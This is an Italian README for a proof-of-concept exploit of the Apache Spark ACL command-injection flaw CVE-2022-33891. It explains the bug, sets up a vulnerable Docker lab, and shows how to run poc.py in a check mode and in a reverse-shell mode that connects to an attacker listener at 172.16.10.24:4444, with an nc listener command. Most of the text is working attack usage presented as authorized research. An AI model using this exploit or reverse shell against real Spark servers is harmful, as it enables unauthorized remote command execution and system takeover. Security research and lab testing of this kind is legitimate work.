
Exploit proof-of-concept per l'iniezione di comandi in Apache Spark (CVE-2022-33891) con modalità di verifica e reverse shell, che consente test di sicurezza autorizzati.
⚠️ Solo per scopi educativi e di ricerca autorizzata sulla sicurezza
Molto grati all'autore originale della PoC AkbarTrilaksana
L'interfaccia utente di Apache Spark offre la possibilità di abilitare le ACL tramite l'opzione di configurazione spark.acls.enable. Con un filtro di autenticazione, questa verifica se un utente ha i permessi di accesso per visualizzare o modificare l'applicazione. Se le ACL sono abilitate, un percorso di codice in HttpSecurityFilter può consentire a qualcuno di effettuare un'impersonificazione fornendo un nome utente arbitrario. Un utente malintenzionato potrebbe quindi raggiungere una funzione di controllo dei permessi che, in ultima analisi, costruirà un comando shell Unix basato sul proprio input e lo eseguirà. Ciò comporterà l'esecuzione arbitraria di comandi shell con l'utente con cui Spark è attualmente in esecuzione. Questa vulnerabilità interessa le versioni di Apache Spark 3.0.3 e precedenti, le versioni da 3.1.1 a 3.1.2 e le versioni da 3.2.0 a 3.2.1.
Per prima cosa, clona il repository
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
Cambia directory
cd CVE-2022-33891
Installa le dipendenze:
pip3 install -r requirements.txt --break-system-packages
Avvia il container
docker compose up
In un nuovo terminale, esegui il comando
docker exec -it CVE-2022-33891-spark-1 /bin/bash
Nella sessione bash del container, inserisci:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
Facoltativamente, usa cat per visualizzare il contenuto di spark-defaults.conf e assicurarti che sia corretto.
Esci dalla shell bash interattiva e premi Ctl-C sul processo di docker-compose.
Una volta che i container si sono spenti correttamente, esegui di nuovo docker-compose up
docker compose up
Verifica se il target è vulnerabile:
python3 poc.py -u http://localhost -p 8080 --check
Dal punto di vista di un attaccante, l'esecuzione remota di codice è fondamentale per ottenere accesso a una shell interattiva. Quindi, eseguire il seguente comando attiverebbe una reverse shell telnet su tcp basata su bash verso il sistema dell'attaccante sulla porta 4444/tcp:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444